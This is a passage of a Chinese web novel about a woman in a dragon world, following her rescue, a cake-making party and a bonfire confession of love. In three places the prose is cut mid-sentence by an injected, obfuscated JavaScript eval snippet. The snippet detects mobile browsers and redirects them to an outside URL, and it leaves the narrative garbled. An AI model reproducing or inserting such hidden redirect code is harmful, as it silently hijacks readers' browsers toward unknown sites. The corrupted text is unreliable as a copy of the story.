另一边，贾斑看着这一人一龙卿卿我我，实在坐不住了。 “喂喂喂，你们还把我放在眼里吗？那是我宽容大量才让你们有机会见面！” 合着把我和宫修分开你是一点不管了……肖卷卷在心底吐槽。 贾斑小心地观察了一下肖卷卷的表情，确认她现在心情还不错，才提出要让自己继续带着她玩，宫修继续在旁边等着的命令。 这真的很不像他自己，从前的他根本就不会为所谓人和龙之间的情谊畏手畏脚，更不会在意一个区区作为宠物的人类的感受。 他也有些自我怀疑，自己是不是真的和刚才那个怪物说的一样，因为过于在乎这些浅薄的、不入流的情感，而让自己的实力变弱，警觉性降低。 明明他之前不是这样的。 “走吧。”意外的是，这次肖卷卷对他命令的态度也发生了改变。原本很介意与宫修分离的肖卷卷，现在却很听话地跟着贾斑走了。 “分离的时候不哭鼻子了？”明明心里是关心，说出来的话却又这么尖锐。 “我什么时候哭过鼻子。”肖卷卷翻了个白眼。 “宫修是我很在乎的龙，可你也是我的朋友啊。” “和你一起玩也是有必要的。” 贾斑错愕地张大了嘴，对于他而言，朋友一词从来没有被用来形容他。 这好像是第一次，被当成朋友呢…… …… “当心！！” 只是一瞬间的掉以轻心，贾斑被肖卷卷的那句话打动了，没有注意到周围突变的天气和景色。 一阵狂风刮来，周围的树叶被卷起，裹挟着肖卷卷向前飞去。 这是佐野家族的招式！如果说贾斑有什么不能百分之百应对的龙，那一定是佐野家族的那四个人。 双拳难敌四手，一条龙面对一家人的围攻，自然有些抵挡不住。 “肖——”贾斑的话卡在嘴边，一条通体漆黑的龙在他旁边迅速飞了过去： “可恶！” 贾斑瞳孔地震，那个速度，一点没有犹豫。佐野家族的鞭挞之力，是只要龙接触到身上就会破一层皮的程度。 所以几乎所有的龙，在生理上对于这种风有着不可避免的恐惧，只有宫修，第一个反应过来，又完全没有考虑地冲上前去。 只是为了救他的人。 眼见的这条龙还想追上去，贾斑立刻拍了拍手，让自己的部下跟上。 中部城主眼看着出了这种事，让那个家族的人混了进来，的确是自己的责任。 于是也派龙跟上他们，保证追上去的那些龙和被带走的人没有生命威胁。 …… 另一边，肖卷卷被这阵突如其来的妖风撕扯着，感觉整个人都快四分五裂。 “又……来……？” 之前被贾斑掳走是一团黑雾，这次则直接变成了风，并且还极其强硬，甚至她的一只高跟鞋都留在了原地。 “好歹细致一点啊喂！把我的鞋带上！”肖卷卷气不打一处来。 “这么粗糙！做事不讲究！” 肖卷卷简直两眼一黑，现在自己光着只脚算什么，还在风里一蹦一跳的。 极其狼狈，超级仓促啊啊啊！ “你们是谁？”没有人回应她。 “你们什么目的？”照样没有人回应她。 “你们把我带走要干什么啊！！”肖卷卷终于生气了，“好歹说句话吧！” “宫修，你认识吧？”风中，一个沙哑朦胧的声音传了出来，肖卷卷的左眼皮猛的一跳。 宫修？他们和宫修有什么关系？ 在肖卷卷眼中，宫修既不是管理者，又不是什么其他很著名的龙，认识他的龙应该不多才对。 那么面前的这条龙，究竟是以什么身份，认识宫修的？ “我认识他，他是我的龙。” 说完这句话，面前的风里似乎传来了轻笑声： “真没想到那种家伙，还能得到自己的人。” “他不是最喜欢父亲了吗？现在连父亲的话都不听了，看来真是‘独立’了啊……” 肖卷卷不懂他们在说什么，和宫修相关的龙吗…… 总之，面前的这团不明物体散发出的气息大概不是什么友好的表示，更何况现在，本就张狂的风更加猛烈。 肖卷卷眯起眼睛，准备迎接这只龙的当头一击。 如果她之前没推测错的话，龙界的力量来自于相信，只要她并不相信的这团风可以伤到她，攻击就不会造成实质性的影响。 可很快，这阵风刮向远方，眼前模糊不清的景象也重新清晰起来。肖卷卷看到贾斑宫修带着一路人从旁边冲了过来，进入她的视线。 “你没事吧？！”宫修语气焦急万分，他是唯一一个局内人，知道对方过来主要是找自己的麻烦，只是一不小心牵连了肖卷卷。 “他还没有出手。”肖卷卷摇了摇头，表示自己并没有受伤，并询问宫修和佐野一家有什么关系。 “我在他们的话中，听到了你的名字。”肖卷卷认真地望向宫修： “你会被他们找麻烦吗？” 面前这条漆黑的龙听到这话后，默默攥紧了自己的拳头。 肖卷卷在这种时候还想着他，可他不知道的是，麻烦正是因他而来。 如果他当初不那么任性，随意挑起自己和佐野家族的争端，也许这次肖卷卷就不会陷入险境。 到头来，肖卷卷身边唯一的危险就是他。 作为龙，宫修无地自容。他低着头一言不发，让肖卷卷认为，他是在逃避这个问题。 “宫修，你得老实和我们说。”肖卷卷的表情也严肃了下来： “如果他们可能做出伤害你的行为，那么我会向我能求助的任何龙求助，多派些人手来保护我们。” “之所以需要保护，就是因为每条龙都没有强大到无论什么事都能一个人解决。” “这是不可能的，换言之，如果真的有这样的可能性，那么龙界的秩序也不可能维持那么久了。” “需要保护，一点都不丢脸。” 肖卷卷主动拉起了宫修的手：“更何况，每次在我到危险的时候，你都站出来了，这次也一样。” “在风把我刮走的前一秒，我看到了你的手。” 其实肖卷卷什么都知道，她只是不说而已。 “好了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760850|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们两个别煽情了。”贾斑在一旁不解风情地嘀咕着，“终于找回来了，这几条龙是出了名的难缠，我们还是先离开为妙。” “这几条？”肖卷卷捕捉到了内容的核心。 “没错，他们家族有四条龙，每一条都很难对付。”贾斑曾经与几条龙交手，还加上了地形主场优势，最后才没有落入下风。 “建议你离他们远一点，他们好像有独特的手段对付人类。”贾斑打了个响指，让龙军团掩护他们撤退。 “总之，也谢谢你。”肖卷卷同样感谢了跑来救他的贾斑，“按你以前的性格，大概完全不会考虑和我这种人类打交道的。” “死了就死了，风险太大，不如换一个人类养。” 肖卷卷对贾斑扬起一个灿烂的微笑： “对吧？” 贾斑下意识想反驳她，却发现她说的没错。 自己真的会这样想。 “我不怪你，我也没有理由怪你，毕竟现在，你是我的朋友。”肖卷卷大笑一声：“哈哈，贾斑，虽然你嘴上不承认，但其实，你也做出改变了呢！” 从一开始对所有生命都不屑一顾，到现在不仅仅是对肖卷卷，哪怕是对宫修这种自己敌视的龙，都会善意地提醒和下意识地纠正。 存在本身就是意义，过去的肖卷卷，同样和现在不同。 她好像逐渐开始明白，宫修说的那句“人类的存在本身就是意义”，到底是怎么回事。 如果她没有来这个世界，这些龙会改变吗？或者自己还会像现在直率吗？ 直率只有在对自己友好的环境下，才能展现出其真正的效果。况且在和这几条龙斗智斗勇的过程中，大家都或多或少成长了许多。 也许自己的到来，也是一种意义。 “好了，回去吧，今天比完赛，晚上还能去逛逛夜市跳跳舞呢。”肖卷卷对于夜市和舞情有独钟，一个能吃，一个能玩。 她的心态也逐渐年轻起来，原本以前，自己二十五岁活的和五十二岁一样，嘴上挂着柴米油盐谈论加班加薪，从来没想过自己还能有什么心情参加晚会。 来了龙界，烂也摆了，该吃的吃该玩的玩，开心了不少。 心态反而和十五岁的一样。 “坐我头上……好吗？”沉默的贾斑突然加了一句确认，宫修没注意到，肖卷卷却愣了一下。 她抬起头，初见时那个不可一世的金发男人，此时眉眼间少了些戾气，多了些温柔的神情。 反正，她还是会选择自己最信任的龙吧…… 贾斑在心底暗暗吐槽自己，做了什么愚蠢的事，为什么还要问她的意见，像以前那样直接掳过来就好。 明明没人敢反抗他…… 大概是人类的魔力吧，只有这一次，他想要得到肖卷卷亲口肯定的回答。 想听到她真正的心声，不是被他强迫的那种。 嘀嗒，嘀嗒，对于肖卷卷来说短暂的五秒时间，对龙来说则很煎熬。 宫修和贾斑都在等她的回答，等她说愿意或不愿意。 没想到肖卷卷的第一句话，是她笑着摸向贾斑的脑袋，泪流满面说出的“太好了”。 “太好了贾斑。”年纪大了，泪点真的会变低吧。肖卷卷暗暗吐槽自己。 “好，我坐你的头上回去。” 19. 难得轻松的日常 在回到中部城主的城堡后，城主对肖卷卷一行人和龙表示抱歉，并且给他们一点伴手礼作为补偿。 “实在抱歉，是我们的失职……”城主龙唯唯诺诺地看了一眼气势汹汹的宫修，又看了一眼旁边邪笑着的贾斑，这个女人他们惹不起。 甚至远在卡宴城的施倦，也致电中部城主，质问他为什么把肖卷卷放入险境之中。 城主压力颇深，连夜增强了城堡旁的安保，所以现在整个宴会的氛围变得肃穆了很多。 周围浩浩荡荡的，全是中部城主的龙军团。 好在接下来的活动都是些轻松的项目了，运动会比赛刚好在昨天已经全部结束，今天只剩下些娱乐活动，例如一起做饭、晚上一起跳舞等等。 这点还是挺让肖卷卷感到欣慰的，毕竟跳高，跳远，跑步之类，虽然她只需要招招手，让自己的龙去做，自己拿奖品就好，但她这把老胳膊老腿哪怕是想参与一下都加入不进去，一直看也怪没意思。 而做饭，跳舞之类的就不一样了，就凭宫修能把那盒肖卷卷看都不想看的宝石饼干吃的津津有味的样子，肖卷卷觉得这群龙在龙界一定是没吃过什么特别好吃、软硬适中的东西。 于是她决定大显身手，让这几条龙开开眼界。 “来来来，你们几个听我发号施令！”她已经彻底适应了自己领袖的身份，招呼起龙来毫不客气，先把宫修拉到身边，让宫修帮自己切菜，又把贾斑喊来，让他帮忙拿食材。 “今天我必定让你们尝尝，什么才是真正舌尖上的美味！” 虽然她的厨艺也没有好到和大厨一样，不过做点家常小菜，这些龙就已经能吃的不知天地为何物了。 肖卷卷这样想着，宫修飞快用自己的爪子把菜切好，而贾斑的食材搬来了三大筐： “够不够？不够我让手下再去拿点。” “够了够了……”这么多东西，肖卷卷的任务一下子从做一份小锅菜变成了做几百份大锅菜。 总感觉自己不在做人吃的东西，而是在做猪饲料…… 这点肖卷卷没敢说出来，如果要让贾斑知道，自己把给他做的东西当做猪饲料来做的话，估计会气死的…… 想到这儿，肖卷卷的脸上露出了久违的笑容。贾斑低头看着面前的女孩，不知为何，她自己偷偷笑了起来，眉眼弯弯，似乎在为什么自己脑中奇怪的东西感到欣喜。 黑棕色的头发此时已经梳成了一个丸子，牢牢绑在脑后，虽不说也多风华绝代，至少也多了一丝别人没有的风味。 这丝风味也许是由于贾斑自己心中的悸动吧。可惜骄傲的龙永远不会知道这一点，他只是觉得肖卷卷比以前好看了很多。 “怎么在看我？”肖卷卷终于回过神来，看着面前对着自己无意间带着微笑的贾斑。 他笑起来，其实也没有那么难看嘛……她心想。 过去觉得他的笑容十分狰狞，这是因为自己与他永远站在对立的一方，而他也认为龙与人永远不可能互相理解。当两人站在同一阵营，一起经历过很多事情之后，肖卷卷觉得贾斑的笑容偶尔也挺阳光的。 “今天给你们做一个蛋糕！”龙界的龙还没有吃过蛋糕，是什么东西呢？ 他们一般都是直接啃食材，反正牙齿够坚硬，胃部也可以消化。这种做法牺牲了食物本身的美味，只剩下新鲜了。 新鲜程度倒是远胜于人界冷链所带来的肉，毕竟他们的肉都是现宰现吃。 “然后还有一些家常菜，例如可乐鸡翅，西红柿炒蛋之类的……”肖卷卷会做的也只有这些了，别的她做不出来。 好在在这儿，没有人会要求肖卷卷去做特定的菜。研究菜谱本来是龙干的事，现在知道有一个人要亲自为自己的龙做饭，其他人类的龙都羡慕地围了过来。 有些好奇又有些期待，人做的饭啊，人做的饭会是什么味道呢…… 在众人的注视之下，肖卷卷自信地拿起铁锅大勺，一通火花带闪电，做好了几个炒菜。 “哇！”被分到鸡翅或者西红柿炒蛋的龙纷纷露出满足的神情。 真好吃，原来人做饭那么好吃，自己从来没有吃过这样的珍馐美味…… 一旁的贾斑和宫修努力阻止那些不断冲进来要食物的龙，这是肖卷卷给他们做的！ 如果被这些龙都吃了，那他们吃什么？ 此时这两个龙同仇敌忾，终于变成了一根绳上的蚂蚱。 “走走走，这是我们的人类给我们做的饭！”宫修负责站在那儿威慑其他龙，能说会道的贾斑自己用语言驱赶，两个人忙忙碌碌半天，累出一头的汗。 终于把那些龙驱赶的差不多了，该吃的也都吃了，贾斑叹了口气，转头撞上肖卷卷明媚的笑容。 “给~”她伸出夹着鸡翅的筷子，递到了贾斑面前。 “尝一尝吧？” “唔……”贾斑的脸红起来了，被人类投喂吗？ 身份似乎反了。不过这个人类和其他的人类都不一样，怪不得关于她的传说那么多，她是真的可以改变龙心的人啊…… “好吃！”贾斑对于肉十分喜爱，一连吃了三十多个鸡翅，看的肖卷卷目瞪口呆。 这就是龙的食量吗？ 宫修则把自己的目光锁定在西红柿炒蛋上，肖卷卷做梦都不会想到这只看起来如此霸气的龙，居然会喜欢小孩子最爱的酸酸甜甜的西红柿炒蛋。 “好吃好吃……”宫修边吃一边感叹，肖卷卷忍不住提醒他，在她的世界里，这样的东西只有小孩子会很感兴趣。 话音刚落，宫修立马把自己的爪子放下来了。 “啊，其实我一点都不喜欢吃这道菜。”他才不想让肖卷卷把他当小孩子看呢，如果他是小孩子，贾斑是大人，肖卷卷也是大人，那他不就不能站在肖卷卷身边了吗？ “你居然不喜欢吃我做的菜，我好伤心……”肖卷卷装出一副悲痛欲绝的样子。 “不不不，我喜欢吃！”果然天真的龙就是好骗，宫修立刻改口，说自己最喜欢吃的就是这道西红柿炒蛋了。 “哈哈哈哈，逗龙真好玩……”肖卷卷笑的前仰后合，差点摔在贾斑身上。 比起已经成熟了，不会上当受骗的贾斑，还是宫修这种半青涩半成熟的龙比较好玩。 一旁的贾斑悠闲的靠在厨房的墙上，一边吃鸡翅，一边嘲笑宫修怪不得会被肖卷卷这样的人类收服，原来是个大傻瓜。 可是大傻瓜又何止宫修一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760851|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个呢。 “来来来，大家一起做蛋糕！”肖卷卷骗他们，蛋糕一定要大家一起做出来的才好吃。 其实她只是想让这群龙体验一下做蛋糕的过程而已，毕竟她初来这个世界，也不知道会不会突然回去，希望他们在自己身上能多学到一点技能。 属于人类的技能，龙会感兴趣吗…… 不得不说，龙做事的效率是真高，肖卷卷才打一个鸡蛋，隔壁已经把老母鸡这辈子下的蛋都打完了。 贾斑比肖卷卷和宫修都要大上好多，龙通常不在意自己的生日，毕竟都活了那么多年了生不生日的还真无所谓。 贾斑不记得自己的生日，宫修也不记得。不过贾斑几乎比宫修大了一百岁，这是不争的事实。 既然这样的话，肖卷卷可就要给贾斑过个难忘的“生日”了。 反正他也不记得自己生日究竟在什么时候，肖卷卷邪恶地笑出了声，她和宫修窃窃私语，贾斑在一旁和看两个小傻子一样，看着这两人不知道在商量什么诡计。 不知不觉，自己的心态也变得平和。 “贾斑，祝你生日快乐！”这真是稀奇了，贾斑没忍住“嗤”的一声笑： “我生日？” “没错！”肖卷卷鼻子上还沾着奶油，“今天就是你的生日了！” 给龙过生日，贾斑没听过那么稀奇的事。 因为以龙的平均寿命来说，一条龙到死得过一千多次生日，太奢侈也太麻烦了。 因此他早就记不得自己的生日是什么时候，也只有自己这只思维古怪的人，会突然想到过生日这一出。 思绪飘回来时，肖卷卷和宫修两个活宝已经旋转着将蛋糕端上来了。 是啊，他们两个人加起来也没多大。在贾斑眼里，不过两个小朋友罢了。 “祝你生日快乐~”生日歌在肖卷卷的嘴里发烫似的，她越唱越快，好像更期待接下来会发生的事情。 “来！吹蜡烛！”宫修那条龙居然少见的跟着一起兴奋，看来更不是什么好事了。 贾斑饶有兴趣地吹灭了蜡烛，随后看向肖卷卷。 肖卷卷犹如一只得逞的小猫，抓起一把旁边准备好的蛋糕，往他脸上抹去。 “嘻嘻，这是我们人类过生日的习俗……” 怪不得两人那么开心，原来是要让他倒霉。 贾斑一边躲一边后退，手上的劲又不敢使大，害怕伤着这虚弱的人类。 身后，宫修绝对是有私仇般薅起一把蛋糕，往他头上一抹。 这他可不客气了，肖卷卷他舍不得动，宫修这家伙不一样。 他是龙，耐造。 “你给我等着！！”贾斑的反击紧接着如狂风暴雨般袭来，肖卷卷也被误伤到一下，最终几个人的脸上没一个是干净的。 中部城主派来的龙，贾斑自己的护卫队，包括肖卷卷、宫修和贾斑三个，要不是鼻子，要不是脸颊，都沾上了奶油，宴会少见的其乐融融。 之前从未有过这样的场面，运动会对于龙来说就是竞争，天生好战的龙能把所有事情变得像角斗场上的对决。 有了肖卷卷，这个突如其来闯入龙界，却又融合的很好的人，一切都变得不一样了。 20. 我承认我曾犯错 最后那块蛋糕完完整整地进了宫修和贾斑的肚子，肖卷卷一共没有吃到几口。这两只龙太能吃了，肖卷卷做了一个三层的蛋糕，两条龙一龙一口，就把蛋糕吃的干干净净。 两条龙一个人打打闹闹，不知不觉就到了晚上。这是贾斑觉得时间过得最快的一次。龙的一生极其漫长，时间在他们眼里不过是一种可以随意挥霍的物资，几乎没有龙会有珍惜时间的概念。 因为他们可以远远超出自己想活的年龄的范畴，活到觉得这个世界上没有任何一丝新颖东西。 所以人类在他们的眼里那么神奇，一百年都不到的时间里，小小的人类却能创造出那么多的成就，生如夏花之绚烂。 “呀，外面天都黑了……”将所有的东西收拾完，肖卷卷一抬头，原本亮堂堂的天已经完全黑了下去，而窗外，篝火被一下子点燃，轰的一声，外面龙山龙海，山呼海啸般的龙鸣让肖卷卷的耳朵有些疼。 一只大手温柔地捂住了她的耳朵，肖卷卷原以为这是宫修的手，毕竟贾斑这样不拘小节的龙，从将她掳过来的那天开始，就没有特别考虑过她的想法。 他需要肖卷卷高兴的时候，肖卷卷就应该高兴；不需要肖卷卷高兴的时候，她做什么和他都没有关系。 她一直是这样认为的，贾斑就是一条这样的龙。 “宫修你——”话刚说出口，肖卷卷在那一刻回头，对上的是贾斑啤酒色的眼眸。 她从来没在他的眼里看到过这样的神情：“你……” 从来没有想过他会主动伸手，将自己的耳朵捂上。贾斑明显向上扬的嘴角让肖卷卷愣了一下： “怎么会是你？” “为什么不能是我？”贾斑只是一声轻笑，他知道自己在肖卷卷心里的印象已经差到了极点，不过这些是可以弥补的。 再说了，他之前做的的确有不对的地方。贾斑承认自己错了。 一个从来不会自我反省的龙，一个一直要求周围的龙顺从他的龙，过去的贾斑会想到，自己有一天也会开始考虑别人的感受，会开始思考自己以前做的事情究竟是对是错。 明明他以前从来不会想到这些。 “很意外吗？我们下去看篝火吧。” 贾斑故意岔开话题，而旁边的宫修看到这一幕，也出乎肖卷卷预料的没有像以往那样气势冲冲冲过来打掉贾斑的手，并跟他说这是自己的人。 “走吧。”宫修只是站在肖卷卷的另一边，随着这一龙一人下楼。 到了篝火旁，那样热烈的气氛更加浓烈了。肖卷卷明显能感觉到龙们激动的心情。 “啊……” 原来这就是龙那么喜欢办宴会的原因，他们的生命太长，日复一日的生活会把他们逼疯。 而时时刻刻举办一些适合和人一起玩耍的游戏，无论是龙还是人，都能在生命中找到一丝慰藉。 篝火晚会就是最好的例子，天上飞的，水里游的，地上跑的龙和人手拉着手，人坐在龙的头上，而龙的尾巴互相缠绕着，大家围着篝火又唱又跳。 唱的是几万万年前就流行的曲子，古老的歌谣穿过时间的洪流，将过去的故事带到肖卷卷面前。 不知为何，肖卷卷的鼻子特别酸，好像眼泪要从眼睛里涌出来了。 贾斑低头看着身旁的女孩睫毛轻颤，眼中弥漫着将要离别的悲伤色彩。音乐果然是跨越物种，跨越任何阶级的存在，每个人都可以从音符中获得深深的情感支持。 肖卷卷也不例外，她一手拉着宫修，一手拉着贾斑，一前一后的随着这么多的龙跳舞。一般来说，人都是坐在龙的头上的，而肖卷卷却选择和他们站在一起——以平等的身份。 “三，二，一，开始！” 所有的龙将手举起，肖卷卷直接被宫修和贾斑拎了起来。 “唔！”肖卷卷激动地喊了起来，两个人稳稳地托着她，让她用人类的方式看到了最上方的景色。 “吃不吃棉花糖？” 今天贾斑的声音格外温柔，举动也比以往文雅了不少。他好像逐渐不再是原来那个以自我为中心的龙，而更加成熟。 “吃！”肖卷卷很想体验龙界烤棉花糖的活动，这是唯一一个和人类活动差不多的。 直到贾斑拿出那颗硕大无比的棉花糖，肖卷卷的下巴成功了惊掉在地。 “天呐，这颗棉花糖吃下去，不得得糖尿病……”那座小山一样的棉花糖被贾斑拿在手里颠了颠，他的瞳孔逐渐转向肖卷卷，眼神中依然是以往的狡猾。 “要不你拿着来烤？”肖卷卷再加两只手都拿不动这颗棉花糖，她使劲摇头，在贾斑的眼里像一只被故意刁难后炸毛了的小猫咪。 “开玩笑的……”贾斑的笑声格外爽朗，似乎和肖卷卷在一起之后，他的笑容越来越出自于真心。 “给，这才是真正为你准备的东西。”篝火旁火光照亮了贾斑的金色头发，他从被视为不祥征兆，到后来自己闯出一片天地，却一以贯之的雷霆手段遭到其他龙类的畏惧，这样一条身世坎坷的龙，在此刻，肖卷卷觉得他脸上的五官柔和，完全放下了所有的执念。 真正被他拿出来要给肖卷卷的棉花糖，是他特地在厨房自己做的、人类世界里的正常大小、大概一个手指头大的棉花糖。 “这才对嘛……”肖卷卷对贾斑笑了笑，随后身体一轻，被他扛在肩膀上，带到篝火旁。 “怕你够不到火，离近一点。”贾斑轻轻松松抱着自己心爱的人类，虽然他们的相遇不太愉快，但至少他希望，他们可以笑着结束。 “贾斑。” “嗯？”女孩的发丝扫在他的脸颊上，冰冰凉凉的篝火旁，几只龙已经开始布置烟花。 篝火大会最后有一场烟花秀，烟花对于龙来说，就和他们爱着的人类一样，短暂的生命，绚烂地绽放。 “我觉得你变了好多。” “变成你喜欢的样子，还是你不喜欢的样子？” “当然是喜欢啦。”肖卷卷晃了晃自己的脚，“从前我一直在防备你，觉得你肯定不是什么好龙，还怕你把宫修弄死。” “不过现在，我相信你和以前的你已经不一样了，我更喜欢现在的你。现在的你依旧杀伐果断，心里却真正有了点东西，不是原本的空心龙。” 大概是有了爱吧。 贾斑心想，因为有爱，所以不会去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760852|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勉强；因为有爱，所以会在意身旁人类的一举一动；因为有爱，会去思考别人是不是幸福，会去思考对方的情绪展现的是否真实，自己是否拖累了对方很多…… 他终于承认过去的自己错了，把一个人类锁在自己身边并不能带来什么乐趣，事实上他前三百多年的龙生，并没有哪一天是真正快乐的。 烧杀抢掠并不能带给他快感，复仇也没有所谓的幸福，那只是他对悲惨生活的一种抗议而已。 真正能让龙幸福的是爱，是发自心底的爱更重要的是了解自己想要什么。 他不想要自己喜欢的人害怕地望着自己，这对他来说不是仰慕而是折磨。 他开始承认，原来每一条龙都想要看到人类的笑颜。 不可言说的感情，终究变成了伸手可触碰到的爱恋。 自己该放她走的。 他喜欢的是自由的肖卷卷，是手上举着手杖，掀起裙摆放肆奔跑的肖卷卷，是在他头上指点江山，让龙军团往这儿去、往那儿去的肖卷卷，而不是被锁在城堡里，锁在困在一方天地，什么都做不了的她。 他喜欢的是鲜活的人，鲜活的人首先要接触鲜活的空气，和鲜活的世界。 让一颗幼苗生长，需要水，需要阳光，需要营养。只提供营养而不提供阳光和氧气，植物终究会变得死气沉沉。 肖卷卷是难得没有被龙界的内卷风气污染的人类，她的心里完全没有等级意识，也没有所谓人高于龙的想法。 贾斑过去瞧不起那些人类，那些人类享受着娇生惯养的生活，瞧不起为她们付出的龙。 最终他发现这个有趣的女孩。 肖卷卷带给所有龙的财宝是无价的，远超于自己为他找来的宝石。 那么是时候该放她走了，她不属于这里。她也不属于任何龙，她属于她自己。 “肖卷卷。”肖卷卷看向一旁的金发男人，他的眼下居然有些乌青，整个人也显得疲惫了很多，身上出现了区别于平时的气势。 “怎么了？”肖卷卷抬头望向贾斑，贾斑伸出手，放到肖卷卷的头顶。 她原本以为他又要像之前那样，揉乱她的头发，或者说出一些恶劣的话来。 典礼快要结束了，就纵容这一次吧。 修长的手指悬空在肖卷卷头顶上方，随后轻柔地插进她的发间，此刻的他们不像一人一龙，像是世界上最最普通的一对兄妹。 贾斑爱肖卷卷。对她的感觉更多是疼惜，他希望看到她奔跑的样子，希望解开她腿上的桎梏。 “砰！”烟花盛开，肖卷卷人类的耳朵并不能听到来自贾斑这条龙的低语。 她只能看到他的嘴型。贾斑的嘴一张一合，拼凑出肖卷卷最常见缺第一次自己作为当时人听到的句子。 她逐渐瞪大了双眼—— “（我爱你。）” 惊讶地忘记了呼吸，一切都在这无声的表白中变得黯然失色。 肖卷卷只能看到贾斑的眼睛。他的眼睛里有满天的烟火，还有一丝她看不懂的复杂神情。 “（我放你自由。）” 绚烂的烟花放完了。属于贾斑和肖卷卷的人生，结束了。 21. 又见神秘高傲男 烟火燃尽，那天夜里，肖卷卷罕见地失眠了。她想到自己与贾斑的第一次见面，那个停滞在风中的金发男子，何时露出过这样的神情。 是自己改变了他吗？自己作为一个普通的人类，从遥远的异世界穿越而来，真的可以改变这个世界的许许多多的龙吗？ “真是抱歉啊……”肖卷卷喃喃自语，窗外的天漆黑一片，安静的夜晚，不知道一共有几条龙在安眠。 她心底忽地涌起一阵愧疚的情绪，肖卷卷并不能自信地说出，自己的到来对于那些龙来说一定是好的。如果将来，变得温柔的施倦和贾斑，遇到了不怀好意的、会伤害他们的龙，那又应该怎么办呢？ 自己会不会成为害得他们软弱的罪魁祸首？ 翻来覆去的肖卷卷没有入睡，终于能够回到她身边的宫修，假装自己已经睡着，其实兀自聆听着肖卷卷的叹息声。 与此同时，三楼贾斑的房间灯火通明。 将自己心爱的人类亲手送走的感觉，原来那么悲哀吗…… 他从未体验过这样矛盾的心情，一直到第二天早上，肖卷卷堪堪入睡，而贾斑和宫修几乎同一时间起床，两人在天台相遇。 “怎么，舍不得？”宫修撩了一下自己的刘海，露出这张潇洒的少年脸庞：“布伽辛城的大城主，要是舍不得的话，跟着我们也勉强可以接受哦。” 正如宫修预测的那样，贾斑做出了和当初施倦一模一样的决定。 他得回布伽辛城，管理那边的事务，根本走不开。 “也算是年少轻狂了一回。”贾斑笑着，金发被风吹起，落在他肩头肖卷卷的细碎发丝，弥补了他从未好好享受过的青春。 他的青春在战火中消失的无影无踪，现在，三百多岁的贾斑要回去承担起自己的责任了。 不是谁都能和宫修一样自由。肖卷卷不懂龙界为何如此内卷，其实宫修也不懂。 比起所谓权力，他现在更想和肖卷卷在一起。 “施倦那一本正经的无趣家伙，告诉你们要去兑奇城对吧？”贾斑清了清嗓子，“我偷听到了。” “总算知道他为什么让你们去那个地方了。”贾斑意味深长地看了宫修一眼，“是为了你，也是为了她，不过主要还是为了你，看来他很认可你和肖卷卷之间的感情啊。” 不知为何，说出这话时，心中有些落寞。 “通行证，给。”贾斑还是很有自知之明的，他知道整个龙界，看到通行证不忌惮几分的，除了自己恐怕还真没别人。 “这次别忘了，等她醒来，你们就出发吧。” …… 看着坐在宫修背上，寂寞地朝自己挥手的公主殿下，贾斑突然觉得，有些事尽管没有得到最完美的结局，得到主人公的笑容，也很值得了。 肖卷卷又一次骑着宫修，踏上新的征程。她的肩膀上越来越重，身后的龙也越来越多。 总有机会再见的。肖卷卷使劲拍了拍自己的脸，强迫自己清醒一点，现在不是想这个的时候。 宫修的话本来就很少，现在的沉默寡言倒显得正常，肖卷卷看着远处的地平线，有时真分不清自己现在身处何地。 有贾斑的龙军团保驾护航，肖卷卷和贾斑终于安全飞入兑奇城境内。 最后一丝关于贾斑的东西也消失，一人一龙都不舍地红了眼眶。 “哈哈哈，我就说我们会再见的吧？” 熟悉的声音，熟悉的长相，熟悉的浅灰色头发，这是…… “怎么是你啊讨厌鬼龙！“肖卷卷气急败坏地大喊。 凤眼狭长的“龙”狡猾地眯起了自己的眼睛，他身着红白古风装束，倒真有点画上仙人的意思。 肖卷卷警惕地望向他，这真不能怪肖卷卷，要怪就怪那几条初见时并不友善的龙吧，前人把路都走窄了。 通体白色的衣袍，系在腰上的带子却是红色的丝带，很难不让人联想到鹤这种生物。 肖卷卷真的很害怕这只笑面虎，趁她没注意给她和宫修突然来俩大耳刮子。 毕竟这家伙看起来就鸡贼。 相反，看到面前男人的宫修纹丝不动，好像并不是特别防备。 “就是你说我们是苦命鸳鸯来着，对吧？”肖卷卷叉腰问这怪异的男人。 “不错，是我。我是兑奇城城主——科立笃，幸会。”一人做事一人当，科立笃承认的十分爽快。 “哼，宫修，这龙是个嘲讽我们的大坏蛋，我们给他点颜色看看。”肖卷卷指挥着宫修上天转悠了几圈，却迟迟不见科立笃跟上来，回头一看，这只老狐狸般的人物还站在原来的位置。 “本以为两位前来，是带着解决自己内心疑问的诚意的，现在看来，这只是为了捉弄科某啊。”科立笃的脸上带着得体的笑容，深邃的眼底却看不见任何笑意。 